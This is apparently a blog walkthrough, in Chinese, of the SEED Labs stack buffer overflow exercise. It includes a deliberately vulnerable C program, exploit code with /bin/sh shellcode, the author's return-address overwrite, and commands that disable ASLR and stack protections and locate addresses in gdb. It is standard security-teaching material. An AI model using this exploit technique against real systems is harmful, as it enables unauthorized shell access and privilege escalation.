SEED labs——buffer_overflow

栈的缓冲区溢出攻击

实验环境:Ubuntu16.04虚拟机,32bit

实验原理1:

在程序中,内存复制时,数据长度超过程序预先分配的空间,而某些语言(如c和c++)并不检测缓冲区溢出问题。攻击者可以利用这一现象向缓冲区注入恶意代码。

 

实验提供一个存在缓冲区溢出问题的有漏洞的代码:stack.c

/* Vunlerable program: stack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str)
{
  char buffer[BUF_SIZE];
  /* The following statement has a buffer overflow problem */
  strcpy(buffer, str); 
  return 1;
}
int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  /* Change the size of the dummy array to randomize the parametersfor this lab. Need to use the array at least once */
  char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}

  其中,在bof函数中使用的strcpy函数可能会引发缓冲区溢出的问题。

  想要利用这个漏洞进行恶意代码注入,则需要构造字符参数str,而str来自于一个名为“badfile”的文件。因此,我们将恶意代码写到badfile中,在程序运行时,badfile里的内容就会被复制到缓冲区。

  实验提供一个程序,它的功能就是构造恶意代码(或许构造恶意攻击更为准确)。

/* exploit.c */
/* A program that creates a file containing code for launching shell */
#include
<stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] =   "\x31\xc0" /* Line 1: xorl %eax,%eax */   "\x50" /* Line 2: pushl %eax */   "\x68""//sh" /* Line 3: pushl $0x68732f2f */   "\x68""/bin" /* Line 4: pushl $0x6e69622f */   "\x89\xe3" /* Line 5: movl %esp,%ebx */   "\x50" /* Line 6: pushl %eax */   "\x53" /* Line 7: pushl %ebx */   "\x89\xe1" /* Line 8: movl %esp,%ecx */   "\x99" /* Line 9: cdq */   "\xb0\x0b" /* Line 10: movb $0x0b,%al */   "\xcd\x80" /* Line 11: int $0x80 */   ; void main(int argc, char **argv) {   char buffer[517];   FILE *badfile;   /* Initialize buffer with 0x90 (NOP instruction) */   memset(&buffer, 0x90, 517);   /* You need to fill the buffer with appropriate contents here */
  /* ... Put your code here ... */
  /* Save the contents to the file "badfile" */   badfile = fopen("./badfile", "w");   fwrite(buffer, 517, 1, badfile);   fclose(badfile); }

  shellcode数组就是实验提供的恶意代码(以机器指令的形式给出),这段代码被系统执行后,我们将会得到一个shell。shell的通俗理解就是解释器。

  那么是否恶意代码被复制到缓冲区就可以得到shell了呢?

  不完全正确。

实验原理2:本实验的缓冲区溢出攻击利用了函数返回原理。所谓的函数返回,就像大家接触到的那样,在程序运行中,某个函数执行完毕,便要返回它的上一级,也就是调用完这个函数之后的地方,继续执行代码。函数实现返回的方法就是读某个返回地址,而这个函数执行后的返回地址,它存放的位置有明确的规则,也就是说有法可依,有迹可循。

 

 

  上图给出了func()函数被调用时,操作系统为其分配的内存情况。这一块内存空间(灰色的)称为“栈帧”。

  Current FP是当前栈帧的指针,其他内存地址可以在它之上用正负偏移量来表示。

  这是一个用高端地址向低端地址生长的栈,可以看到,在栈帧中,最先入栈的是func()的形参*str,再者是函数执行完的返回地址。

  Previous FP是前帧指针,在这里不做论述。

  再往下是局部变量buffer数组和变量a。

 

  我们了解了函数调用时生成的栈帧,就可以发现其中的一些有趣的地方。

  ①在stack.c中,读取文件中的内容到缓冲区,实际上就是把badfile里的内容读到了栈帧中的buffer数组内,并且可以远超这个规定好的长度,全部复制进去。此时shellcode当然也被写进了buffer。

  ②假如我们能够修改栈帧中的返回地址,将其改为我们存放shellcode的地址,那么当strcpy将数据从文件中读出、写入到buffer数组中、要返回时,就会返回到buffer数组中某个位置,也就是shellcode的首地址。那么,系统接着执行的就是我们设计好的、希望系统执行的指令,最终的执行效果是为我们打开一个shell。

  那么,问题就变得非常的具体了。

  我们需要分别获得2个地址:①shellcode在栈帧中存放的地址。②函数执行完返回地址在栈帧中存放的地址。

  首先,我们来分析如何得到①。

  显而易见,buffer数组中的数据都是由exploit.c运行生成的。

/* Initialize buffer with 0x90 (NOP instruction) */
  memset(&buffer, 0x90, 517);

  实验中给出的原始代码中,badfile内容全部由NOP指令的机器码填充,系统读到它时,会自动跳到下一条指令去执行。

  可以看到,shellcode数组还没有被写到badfile里面。

  我们可以在程序中的“/* ... Put your code here ... */”提示的下一行添加这样一条代码。

    strcpy(buffer+100,shellcode);            //将shellcode拷贝至buffer

  这样shellcode就被写进了badfile,在stack.c运行bof函数时,shellcode就可以被读入栈帧的buffer数组中去。

  为什么不从文件的第一行开始写入shellcode,而是要从100行开始呢?因为做人要留一线,严丝合缝往往代表着容错率比较低。

  在exploit程序中,buffer数组的大小是517,所以shellcode存放的位置需要在517之内,否则程序会报错。

  现在我们知道shellcode首地址相对于buffer数组首地址的偏移量是100了,因为这是我们自己规定的,但是我们仍然不知道buffer在栈帧内的首地址,也就不知道shellcode在栈帧的首地址。

  那我们接下来就来解决这个问题。我们在虚拟机的terminal中执行以下命令。

$ sudo sysctl -w kernel.randomize_va_space=0//关闭随机地址机制

$ gcc -g -o stack -z execstack -fno-stack-protector stack.c //编译stack.c、允许调试、允许栈可执行、关闭栈保护
$ gdb stack
(gdb) b main
(gdb) r
(gdb) p /x &str

  分析stack.c里面main函数的栈帧,当它执行完“fread(str, sizeof(char), 517, badfile);”时,其栈帧里面会装载str数组(等同于栈帧示意图中的buffer数组)。我们使用调试,在main函数上加断点,最终得到的是str数组的首地址,即从badfile文件中读出的数据会读到这个数组中。

   那么,str数组首地址+shellcode相对于str数组首地址的偏移量=shellcode在栈帧中存放的地址,得到①,即为0xbfffea07+0x64(100的十六进制数)=0xbfffea6b。

  接下来我们考虑获得②,函数执行完返回地址在栈帧中存放的地址。

  需要注意的是,我们获取②使用的不是main函数的栈帧,而是stack.c里面的bof的栈帧。(因为bof的返回地址一目了然)

gdb disass bof//查看bof函数的反汇编
gdb quit//退出调试

 

 

   ebp为帧指针寄存器,偏移量以它为基准。可以看到,函数执行完读取返回地址是在第<+24>的位置,此后bof函数便结束了。

  于是我们又得到了②,那么我们现在要做的就是把bof函数执行后返回地址②里面的内容替换成shellcode的首地址①。

  在上次添加的代码后,具体操作如下:

strcpy(buffer+100,shellcode);            //将shellcode拷贝至buffer
strcpy(buffer+0x24,"\x6b\xea\xff\xbf");        //在buffer特定偏移处起始的四个字节覆盖sellcode地址

  注意:内存地址由高向低生长,需要倒放。

  最后,检验一下我们的成果。

$ gcc -o exploit exploit.c
$./exploit
$./stack

 

  正确指令是whoami,这里打错了哈哈哈。

  聪明的,你学会了吗。

  

 

posted @ 2020-12-11 23:50  #DIDIDA#  阅读(930)  评论(0编辑  收藏  举报